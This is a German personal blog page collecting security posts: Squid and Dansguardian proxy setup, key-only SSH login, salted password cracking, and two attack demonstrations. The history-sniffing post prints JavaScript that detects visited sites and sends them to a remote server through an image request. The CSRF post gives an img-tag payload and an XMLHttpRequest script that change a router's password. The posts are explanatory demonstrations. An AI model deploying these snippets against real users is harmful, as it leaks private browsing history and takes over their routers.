dimis linkdump

Posts tagged ‘Sicherheit’

30 Seiten Projektarbeit in einen Blogpost zusammenfassen? Geht. Wenn man nur das ganze BWL-Gedöhns, IST- und SOLL-Zustand Zeug mal vergisst.

Ausgangsituation ist eine nackte Debian-netinst-Installation ohne Desktop-System. Darauf soll nun ein Squid, der gegenüber einem Active Directory eine Authentifizierung der Benutzer macht.

Los gehts:

Installation

Im ersten Schritt werden folgende Pakete über “apt-get install Packetname” installiert:

  • gcc
  • g++
  • make
  • ssh
  • tcpdump
  • emacs
  • psutils
  • ldap-utils

Wer ICAP braucht, also beispielsweise um einen Virenscanner zwischen zu schalten, sollte Squid an dieser stelle manuell kompilieren. Um die nötigen Helfermodule hinzuzufügen sind folgende Schalter konfigurieren nötig:

./configure –enable-icap-client –enable-basic-auth-helpers=LDAP –enable-external-acl-helpers=LDAP

Die Helfermodule werden, afaik, bei einem apt-get install squid3 mit installiert. Der ICAP-Support wird in diesem Fall aber nicht installiert. Für dieses Tutorial sollte also ein einfaches apt-get install squid3 reichen.

Squid Konfiguration

Begebt euch nun auf die Suche nach eurer squid.conf. Falls ihr keinen Prefix beim ./configure angegeben habt, lautet der Standardpfad /usr/local/squid/etc/squid.conf. Falls ihr über apt-get installiert habt, findet ihr die squid.conf unter /etc/squid/squid.conf.

(weiterlesen…)

Nachdem man einige Zeit Dansguardian genutzt hat erkennt man, dass Dansguardian doch einige Sachen blockt, die eigentlich harmlos sind. Folgende Einstellung habe ich nach einer Testwoche bei mir getätigt.

Zuerst habe ich etwas aktiviert, was man eigentlich nur im privaten Bereich aktivieren sollte. Den Filter-Bypass. Damit lässt sich per Link eine geblockte Seite temporär freischalten. Dazu klickt man einfach auf den in der Block-Seite eingeblendeten Link (ganz unten im Bild):

Dansguardian ByPass

Der Bypass-Link übergibt Dansguardian eine GET-Variable mit einer Bypass-Key:

http://www.google.de/search?hl=de&q=[...];GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750


Diesen Key kann Dansguardian entweder automatisch generieren oder man kann selbst einen Key festlegen. Wird nun in einem eigentlich gesperrten Link, diese GBYPASS-Variable mit gültigem Wert übergeben, schaltet Dansguardian die Seite für eine bestimmte Zeit frei.

Anzumerken ist hierbei, dass bei einem Virus-Fund der Bypass-Link auch erscheint, aber keine gütlige Bypass-ID mit übergeben wird – d.h. ein Anwender kann keinen durch ClamAV gefundenen Virus mit dem Bypass auf den Rechner laden.

Einstellen des Filter-Bypass

In der gruppenspezifischen Konfigurationsdatei (/etc/dansguardian/dansguardianf1.conf) gibt es eine Zeile bypass = 0. Hier wird in Sekunden eingestellt, wie lange ein Bypass gütlig ist. Mein Wert: bypass = 300. Damit ist mein Bypass also 5 Minuten gültig. 0 deaktiviert den Bypass. Mit dem Eintrag bypasskey = ‘ ‘ könnte man einen eigenen Bypass-Key festlegen. Lässt man den Eintrag leer, generiert Dansguardian selbst einen Key.

Nun muss der Link noch in das Template der Blockseite eingebaut werden. Dazu bearbeiten wir folgende Datei: /etc/dansguardian/languages/german/template.html.  German ist hier natürlich entsprechen der in der dansguardian.conf eingestellten Sprache zu wählen. (Siehe 1. Blogeintrag zu Dansguardian).

In diese Datei fügen wir nun, an der gewünschten Stelle, folgenden HTML-Code ein:

<tr>

<td>

<td>

<center><a href=”-BYPASS-”>Bypass</a></center>

</td>

</tr>

Die Variable -BYPASS- ersetzt Dansguardian durch den Bypass-Link. Also z.B. durch:

http://www.google.de/search?hl=[…[&GBYPASS=AD92B73FD7BA874240BF9C7708DDA9FA1244672750

Damit hat nun jeder User die Möglichkeit den Filter kurzfristig zu umgehen.

Früher war es so, dass ein Großteil der Malware per E-Mail den Weg auf die Rechner fand. Heute ist es so, dass die meiste Malware über HTTP, also über Webseiten, verbreitet. Da bietet es sich doch an einen Contentfilter einzusetzen, der HTTP-Traffic scannen kann.

Ich habe mich dazu entschieden Dansguardian in Verbindung mit dem kostenlosen Virenscanner ClamAV auf meinem Gateway zu testen.

Installation

Dank Debian ist die Installation von Dansguardian ein Kinderspiel:

apt-get install dansguardian squid3

Mit diesem Befehl installiert Debian automatisch Dansguardian und squid3.

Konfiguration

Für den Anfang ist in der Squid-Konfigurationsdatei nichts zu machen – wenn sich Squid und Dansguardian auf dem gleichen Server befinden. Squid erlaubt per Default dansguarianden Zugriff, wenn die Quelle des Zugriffs der localhost ist. Da sich in diesem Fall Squid und Dansguarian auf dem gleichen System befinden, sind die default-Einstellungen des Squid ausreichend.

/etc/squid3/squid.conf

acl localhost src 127.0.0.1/32
http_access allow localhost

Im Dansguardian hingegen gibt es Einstellungen, die geändert werden müssen / können / sollten:

/etc/dansguardian/dansguardian.conf

language = ‘german’

contentscanner = ‘/etc/dansguardian/contentscanners/clamav.conf’

Damit, funktioniert Dansguardian erstmal und untersucht allen Traffic mit ClamAV. Dansguarian lauscht per default auf Port 8080. Also muss im Browser die IP des Servers und dieser Port als Proxy eingetragen werden.

Noch einige wichtige Verzeichnisse:

/var/log/dansguardian/access.log – Speichert die Webseiten-Zugriffe

/etc/dansguardian/lists /- beinhaltet alle Listen, nach denen Dansguarian filtert.

/etc/dansguardian/languages/ – beinhaltet alle verfügbaren Sprachen

Soweit für den Anfang. Vor allem wenn man Dansguarian im privaten Bereich einsetzt, findet man mit der Zeit sicher einige Einstellungen, die man gerne ändern will. Mein Feintuning beschreibe ich dann in einem weiteren Post…

SSH mit Zertifikaten

Mai 24th, 2009

Wenn man einen Server mit SSH-Zugang im Internet stehen hat, findet man in den auth-Logs oft folgende Einträge:

Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2
Failed password for root from IP_ADRESSE port xxxx ssh2

Ein Brute-Force Angriff auf SSH. Um das zu unterbinden kann man beispielsweise zusätzliche Tools wie denyhosts oder einem Eintrag im IPTables-Skript einsetzen. Eine andere Möglichkeit ist der Einsatz von Zertifikaten statt einer klassischen Username/Passwort-Authentifikation.

Als Server nutze ich in diesem Fall den freien OpenSSH-Server (einfach installiert per apt-get install ssh) und als Client Putty. Wenn man Putty als SSH-Client nutzen will, muss das Schlüsselpaar (öffentlicher und privater Schlüssel) mit PuttyGen erstellt werden. Sonst kann auch der Befehl ssh-keygen in der Linuxkonsole verwendet werden.

puttygen

PuttyGen

Nach einem Klick auf Generate bewegt man die Maus einige male im Fenster und erstellt so einige Zufallszahlen. Man sollte auch auf jeden Fall ein Passwort angeben – um bei Verlust der Zertifikate noch einen Schutz zu haben.

Danach hat man sein Schlüsselpaar erstellt. (beide Schlüssel abspeichern!)

Wichtig ist nun der hier rot eingerahmte Bereich. Diesen kopieren wir in die Zwischenablage und verbinden uns anschließend zum SSH-Server, allerdings nicht als root sondern als normaler User.

Im Home-Verzeichnis des Users wird nun der Ordner .ssh und darunter die Datei authorized_keys erstellt (/home/$user/.ssh/authorized_keys). Ordner und Datei dürfen maximal “rwx——“ also Dateirecht 700 haben. Sobald group oder others Rechte haben, akzeptiert der SSH-Server die verwendeten Zertifikate nicht.

In die eben erstellte Datei authorized_keys fügen wir den Public Key (Zwischenablage) auf PuttyGen ein. Hier ist zu beachten, dass der Key in einer Zeile stehen muss. Zeilenumbrüche bringen den Server dazu, den Schlüssel zu verweigern.

Ein bestimmte User kann sich nur mit dem privaten Schlüssel am Server anmelden, wenn der dazu passende öffentliche Schlüssel im home-Verzeichnis des Users, in der authorized_keys eingefügt wurde.

puttyauth

Nun sollte der Server bereit sein und eine Verbindung mit Zertifikaten akzeptieren. Dazu gibt am in Putty unter “Connection => SSH => Auth” den vorher erstellten Privaten Schlüssel an. Evtl. kann man unter “Connection => Data” noch einen Usernamen angeben, den man anmelden will. Dann entfällt ein Schritt beim Anmelden.

Anpassungen am Server

An SSHd-Config selbst ist nur wenig zu machen. Die Einstellungsdatei findet man unter Debian in der Datei /etc/ssh/sshd_config.

Zu Ändern:

PasswordAuthentication no

Damit wird zukünftig eine Authentifizierung per Benutzername/Passwort-Kombination verboten. D.h. jede Bruteforce-Attacke läuft ins leere.

!Achtung! Wenn diese Option geändert wird, kann man nicht mehr ohne Zertifikat auf SSH zugreifen. Also unbedingt sicher sein, dass die Authentifizierung per Zertifikat auch funktioniert.

Eigentlich Standard-Einstellung, nochmal überprüfen:

RSAAuthentication yes
PubkeyAuthentication yes

Danach muss kurz der SSHd neugestartet werden: /etc/init.d/ssh reload

Pageant

pageantPageant ist ein Tool, das private Zertifikate von Putty verwaltet. Nachdem Pageant gestartet wurde, ist es in der Taskleiste zu finden. Zunächst muss man einmal den privaten Schlüssel mit Passwort hinterlegen und ab sofort meldet sich Putty völlig automatisch am Server an – Pageant übernimmt die Passworteingabe, wenn ihm eine passende Passwort/Zertifikat-Kombination für die Verbindung hinterlegt wurde.

Zu beachten:

  • Pageant verliert Password und Zertifikat, wenn es beendet wird. D.h. nach einem Neustart muss das Zertifikat neu eingebunden werden.
  • Damit die Authentifizierung völlig ohne Benutzereingaben funktioniert, muss in Putty unter “Connection => Data” der Username hinterlegt sein.

Gestern wurde ich von @tslg auf die Webseite www.startpanic.com hingewiesen. Nach einem Klick auf “Lets Start” findet die Webseite plötzlich Seiten, die man während dem surfen besucht hat. Erstaunlich und und wirkungsvoll. Man will gleich die Petition unterschreiben:

We are gathering petition signatures with the request to patch the privacy vulnerabilities of web different web browsers. This petition will be sent to the four major development companies – Mozilla Corp., Apple inc., Microsoft Corp. and Opera Software ASA. Join us for a safe and secure Internet!

Doch was passiert im Hintergrund, wie kommt die Webseite an die Daten? Eine unbekannte Sicherheitslücke in allen Browsern? Nicht wirklich.

Die Idee dahinter ist gut und die Webseite ist auch interessant umgesetzt. Da aber keinerlei startpanic Informationen über die Funktionsweise auf der Webseite stehen, hab ich mir das JavaScript, was im Hintergrund vom Browser ausgeführt wird, mal genauer angesehen.

Dieses Javascript ist ziemlich aufwendig und man braucht einige Zeit bis man es vollständig nachvollzogen hat… vor allem wenn man, wie ich, kein  Javascript-Nerd ist. ;)

Nachdem ich das Prinzip verstanden hatte, hab ich einen eigenen Code geschrieben. Der ist deutlich kürzer, arbeitet aber ähnlich.

Die Testwebseite:

http://www.it-blogger.net/files/jsinfogath/jsinfogath.htm

Auf dieser Webseite werden 2 Dateien eingebunden:

itblogger.js

style.css

In der itblogger.js sind 2 Javascript-Funktionen zu finden, die die Auswertung Informationen machen.

Die erste Funktion heißt writeURL(). Diese Funktion greift auf das Array “urls” zu und schreibt nacheinander Links zu den den Webseiten, die in diesem Array stehen, auf die Testwebseite. Zusätzlich wird jeder einzelne Link mit einer eindeutigen ID versehen. D.h. google.de hat die ID 0, it-blogger.net hat die ID 1,… playboy.de hat die ID 4.

Diese Links werden über die style.css unterschiedlich formatiert. Bereits besuchte Webseiten werden grün angezeigt, nicht besuchte Webseiten werden rot angezeigt. D.h.  playboy.de wird wahrscheinlich grün sein, spiegel.de rot. ;)

Das ist bisher nichts besonderes. Diese Funktion findet man auf vielen verschiedenen Webseiten und Links werden ja sowieso immer unterschiedlich angezeigt.

Bei der zweiten Funktion wird es interessant. checkState() geht die vorher erstellten Links durch und schaut ob diese grün oder rot dargestellt werden. Das passiert in diesem Codeabschnitt:

1: var besuchteseiten = “”;
2: for(var i = 0; i<urls.length;i++){
3:     var besucht = window.getComputedStyle(document.getElementById4(i),”" ).getPropertyValue(“color”);

[...]

5:    if(besucht==”rgb(0, 128, 0)”){
6:        besuchteseiten = besuchteseiten +”id=”+i;
7:    }

8:}

Über die Funktion getComputedStyle() (Z. 3) wird überprüft, wie der Browser den Link gerade anzeigt (rot  oder grün) . Dazu wählt die Funktion über getElementById() die Links (wir hatten Sie ja mit einer ID versehen) nacheinander aus und überprüft ob die Eigenschaft “color”gleich rgb(0, 128, 0)  (also grün) ist.

Wenn dies der Fall ist, schreibt die Funktion “id=x” (x steht für die jeweilige ID der Webseite) in die Variable “besuchteseiten“. Wenn mehrere Webseiten der Liste besucht wurden, werden diese zusammengesetzt in der Varaible gespeichert. Also id=0&id=2,… Außerdem wird ein neues Element unter “Besuchte Seiten” hinzugefügt.

Nachdem alle Webseiten überprüft und gelistet wurden, erzeugt die Funktion ein Bild:

1: div = document.getElementById(‘besucht’);
2: var img = document.createElement(“img”);
3: img.setAttribute(“src”,”http://www.it-blogger.net/files/jsinfogath/get.php?”+besuchteseiten);
4: 5: div.appendChild(img);

Dieses Bild hat als Quelle (Z 3) http://www.it-blogger.net/files/jsinfogath/get.php? und den String aus besuchten Webseiten:

Z.B:  http://www.it-blogger.net/files/jsinfogath/get.php?id=1&id=3

In diesem wurden also die Webseiten mit der ID 1 und 4 vom Client besucht. D.h. google.de und winfuture.de.

Dieses Bild versucht der Browser aufzurufen. Erfolglos, denn es gibt das Bild ja nicht. Über den versuchten Aufruf haben wir aber die Informationen über die vom Client besuchten Webseiten,  zu einem Server transportiert und könnten diese auf Serverseite weiterverarbeiten. In diesem Beispiel hier passiert auf Serverseite natürlich nichts! :)

Man kann natürlich auch das Bild verstecken – dann würde nichtmal der Platzhalter angezeigt werden. (siehe auskommentierte Zeile im Skript).

Auf startpanic.com wird eine etwas größere Datenbank für die Ermittlung der Webseiten verwendet:

http://www.startpanic.com/db/db_en.txt

Das sorgt natürlich für ein besseres Ergebnis. Um alles im Hintergrund zu überprüfen nutzt Startpanic kleine iframes, in die die jeweiligen Links eingebettet und danach überprüft werden. Ingesamt sieht die Startpanic-Version natürlich viel spektakulärer aus – es fehlt aber leider der technische Hintergrund. Das wurde hiermit erledigt ;)

Es schwirrt wieder eine Meldung über einen Angriffsvektor gegen diverse Router durch die Online-Zeitschriften. Doch was steckt hinter dieser “hochgradigen” Gefahr?

Wer sich jetzt denkt: “Was schreibt der denn da fürn Quatsch?” Der möge sich doch kurz diesen Artikel durchlesen: PCWelt oder direkt bei TecChannel.

Leider hört TecChannel genau da auf, wo es interessant wird. Grundlos wie ich finde, denn wer diesen Angriff nachstellen will, schafft das auch ohne TecChannel. :)

Also, mich hat das Interessiert und deswegen hab ich es mir genauer angeschaut. Leider habe ich grade keine Fritzbox da – deswegen hab ich einfach mal mein AP zur Hilfe genommen. (Hersteller: a quip – fragt mich nicht welches Modell genau. Ist ein einfacher, 30 Euro AP).

Bei diesem AP ist es relativ einfach eine solche CSRF-Attacke durchzuführen. Einstellungen und Parameter werden über GET-Variablen übergeben. Wenn man sich mal die Seite zum Ändern aquip_passwddes Passworts anschaut  findet man, neben einigen Javascript-Funktionen, das hier links dargestellte Formular in Quelltextform.

Dort sieht man, was beim ändern des Passworts  passiert: Nachdem man die Passwörter eingegeben hat, klickt man auf Apply und löst damit ein Javascript-Event (onclick) aus, welches anschließend eine Javascript-Funktion (OnSave()) aufruft. Diese macht einige Umformungen und ruft letztendlich eine URL auf, die ungefähr so aussieht:

http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656E75747A65726E616D65&OldPass=626C7562626572&Pass=647562697374646F6F66

In dieser URL sind die Werte (altes Passwort, neues Passwort,..) als Hex codiert. Indem diese URL aufgerufen wird, ändert sich das Passwort vom AP.

Jetzt muss man einen User nur noch dazu bringen, diesen Link aufzurufen oder bettet ihn einfach als Bild in eine Webseite ein – und das Passwort am Router ändert sich.

<img src=http://192.168.2.2/TaUpdate/twl54a.lk?ID=7&User=62656[..] alt=””></img>

Wenn ich also ein solches img-Tag auf it-blogger.net einbinde, ändert sich das Passwort von allen, die den gleichen AP haben ;)

Es gibt allerdings auch einige Einschränkungen:

  • Der User muss momentan auf dem Webinterface des Routers sein oder
  • er muss es in letzter Zeit mal geöffnet haben oder
  • der Router arbeitet ohne Authentifizierung
  • die IP muss bekannt sein
    Besonders einfach ist die Sache natürlich, wenn ein Router das Passwort allein durch den Aufruf einer URL ändert (wie hier). Nur wenig komplizierter wird es, wenn die eingegebenen Passwörter über POST-Variablen geändert werden. Das wird, schätze ich, bei der FritzBox der Fall sein. Aber auch hier lässt sich z.B. über JavaScript eine CSRF-Attacke ausführen.

Mit der XMLHttpRequest-API lassen sich beliebige HTTP-Abfragen mit JavaScript erstellen. Dieses JavaScript bettet man anschließend in eine Webseite sein, die z.B. über eine XSS-Schwachstelle am Router diesem den Code unterschiebt.

<script type=”text/javascript”>
var xmlHttp = null;
xmlHttp = new XMLHttpRequest();
if (xmlHttp) {
xmlHttp.open(‘POST’, ‘index.php’, true);
xmlHttp.onreadystatechange = function () {
};
xmlHttp.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xmlHttp.send(“pass=11111111&pass2=222222222222″);
}

Hier sendet das Skript die Post-Variablen “pass” und “pass2” an die index.php. Um hier z.B. das Passwort der FritzBox zu ändern, müsste man natürlich den Quelltext analysieren und die Variablen entsprechend anpassen.

Nun könnt ihr ja selbst entscheiden die hochgradig die Gefahr ist ;)

Passwort Cracking – Teil 2

März 21st, 2009

Im letzten Beitrag über dieses Thema ging es ja um Rainbow-Tables, Hashes und um Salts.

Als Barriere gegen Rainbowtables wurden Salts eingeführt. Reagiert wurde schnell: Die Passwortcracker wurden angepasst und können nun Hashes mit Salt knacken.  Dazu gibt man im Cracker einfach den Salt und den Hash an, den Rest macht der Cracker selbst.

In der Praxis sieht das so aus:

Wir haben einen MD5-Hash von unserem Passwort: 08da50bd109c7fb1bec49d15ae86e55f

Den wollen wir überprüfen. Dazu schmeißen wir zunächst den Passwortcracker an:

Crack MD5

Der findet das Passwort in sekundenschnelle heraus – es ist schließlich auch nicht wirklich komplex. Auch in einer Rainbowtable würden wir den Hash sofort finden. Nun erhöhen wir den Sicherheitsgrad indem wir einen Salt generieren ( invf&RxOb< ) und an das Passwort anhängen (blubberinvf&RxOb<) und Hashen das Ganze:8efc27deead2de7def412600f06c8ca8

Ein Passwortcracker würde Jahre brauchen, in Rainbowtables hätten wir auch keine Chanche.  Schafft ein Hacker nun es den Hash herauszufinden hätte er ohne Salt keine Chance.

Mit Salt hätte er eine, da hier das Passwort nicht sehr komplex ist. Viele Cracker haben Funktionen nachgerüstet, wo man einfach die Struktur der Passwort-Salt-Kombination (hier: $password.$salt) und den Salt angibt und der Cracker so den Salt mit berücksichtigen kann. Damit ist die Sicherheitsfunktion des Salts außer Kraft gesetzt.

Außerdem gibt es seit einiger Zeit Cracker die nicht nur über die CPU Hashes durchprobieren, sondern auch noch die GPU mit einbeziehen. Bei dem oberen Bild sehen wir wie die GPU mit in den Crackvorgang eingebunden wurde. ~100 MHashes / s kommen allein von der GPU, ~50-60 pro CPU-Kern. Für eine 70 Euro-Grafikkarte ( 9500GT ) ein doch sehr beachtlicher Wert – HighEnd Grafikkarten bringen deutlich mehr: Mit einer GTX 260 schafft man fast  500 MHashes /s. Die 280 schafft um die 750 MHashes /s – nur mit der GPU!

Fazit:

Das Salzen von Passwörtern ist eine gute Möglichkeit um die Sicherheit ein klein wenig zu erhöhen. Taucht aber beispielsweise eine SQL-Injection in einer Anwendung wie Wordpess auf kann diese Injection so umgeschrieben werden, dass sie zusätzlich zum Passwort auch noch den Salt ausgibt. Der Sicherheitsgewinn geht gegen Null.

Man sollte also auf jeden Fall darauf achten, dass man immer komplexe Passwörter nutzt. Egal für welche Anwendung.


Passwort Cracking – Teil 1

März 18th, 2009

Es gibt diverse Möglichkeiten die Sicherheit seines eigenen Passworts zu überprüfen. Meistens werden Passwörter nicht im Klartext gespeichert sondern als so genannter Hash.

Kurz was ein Hash ist: Quasi der Fingerabdruck des Passworts. Überall wo man sich anmeldet muss ja das Passwort zum vergleich gespeichert werden. Meldet man sich z.B. in einem Forum an, gibt man bei der Registrierung ein Passwort an. Der Hash des Passworts wird in der Datenbank gespeichert. (NICHT das Passwort im Klartext!) Bei

Cracker

Cracker

jeder Anmeldung wird nun das eingegebene Passwort gehashed und mit dem in der Datenbank gespeicherten Passwort verglichen. Stimmt der Hash überein, ist man authentifiziert. (Vorsicht vor Webseiten, die einem das Passwort im Klartext zuschicken (per Mail oder SMS). Das heißt dann, dass das Passwort irgendwo im Klartext bzw in umkehrbarer Form gespeichert wird. Da würde ich mich sofort abmelden.)

Passwörter die im Klartext gleich sind, sind natürlich auch im Hash gleich. Menschen die geklont werden, haben ja auch die gleichen Fingerabdrücke. Logisch, oder?

Nun, da ein Hash nur ein Fingerabdruck des Passworts ist, kann man das Passwort also nicht einfach zurückrechnen. Deswegen kann man diverse Möglichkeiten nutzen sein Passwort zu überprüfen:

Ranbow-Tables

Die Tatsache, dass gleiche Klartext-Passwörter den gleichen Hash haben machen sich die Rainbow-Tables zu nutze. Denn in Rainbow-Tables werden Passwort und dazu der dazu passende Hash gespeichert. Diese Rainbow-Tables kann man sich entweder selbst mit diversen Programmen anlegen oder schon vorgefertigt von Webseiten per BitTorrent oder direkt herunterladen. Hat man nun beispielsweise einen MD5-Hash den man Cracken will muss man einfach die Tabellen nach dem passenden Hash durchsuchen. Findet man den Hash, hat man das Passwort.

Rainbow-Tables lassen mit einer einfachen Technik außer Kraft setzen: Man salzt die Passwörter (Salt). Ein so genannter Salt ist eine Zufallszahl, die zusätzlich an das Passwort angehängt wird.

Salt

Salt

Nehmen wir wieder unser Beispiel von vorher, in Verbindung mit der Hash-Funktion MD5. Ein User registriert sich in einem Forum und gibt dazu sein Passwort an. Im Hintergrund erstellt die Forensoftware eine Zufallszahl, den so genannten Salt. Wenn der User auf Registrieren klickt speichert die Forensoftware folgendes in der Datenbank:

md5($password.$salt) und $salt

Klartext: Die Forensoftware setzt das Passwort und den Salt zusammen, und speichert den Hash über Passwort+Salt (vgl. vorher: nur Passwort) in der Datenbank. Zusätzlich speichert es den Salt im Klartext. Um nun einen Nutzer zu authentifizieren muss die Forensoftware also bei jeder Anmeldung das eingegebene Passwort + Salt hashen und mit dem gespeicherten Wert vergleichen.

Da man das Passwort mit einem Salt verbunden hat, sind selbst identische Passwörter unterschiedlich.

Sinnvoll sind Hashes mit Salt natürlich nur, wenn absolut niemand an die Salts kommt. Hat man die komplette Datenbank an einen Hacker verloren, kann dieser den Salt schon mit einrechnen und hat somit die Sicherheitsvorkehrung des Salts umgangen. Mehr dazu im nächsten Teil “GPU/CPU Bruter”…

Für Administratoren nichts neues. Fast schon Grundlagen: ARP Phishing. Interessant ist das vor allem bei solchen Attacken wie sie Moxie Marlinspike letzte Woche vorgestellt hat. Diese lassen sich dann ausnutzen, wenn man Traffic umleiten kann – und das geht, im internen Netzwerk, z.B. mit ARP-Phishing.

Erstmal kurz zu ARP: Switches können nichts mit IP-Adressen anfangen. Um Pakete richtig zuzustellen merkt sich ein Switch deswegen an welchem Port welche MAC-Adresse hängt und schickt so die Daten zum richtigen Rechner oder zum Router.

Umgebung mit Switch

Umgebung mit Switch.

(weiterlesen…)

Momentan nutze ich, soweit möglich, OpenVPN um von fremden Rechnern zu surfen.

Das läuft dann so ab, dass man mit OpenVPN eine Verbindung zu meinem Linux-Router nach Hause aufbaue und dann von dem fremden Rechner mit meiner IP zu Hause surfen kann. Die Verbindung ist über SSL verschlüsselt. Insgesamt läuft das ganz gut. Allerdings braucht man einmalig Administratorrenrechte (für die Installation) und dauerhaft Netzwerkkonfigurations-Operatoren Rechte für den Betrieb des OpenVPN-Clients.

Für fremde Rechner an denen man nicht ausreichende Rechte hat (Internetcafe, Arbeitsplatz, Schule,…) ist das leider keine optimale Lösung. Aber zum Glück gibt es da SSH:

(weiterlesen…)

RSS-Feed Creative Commons License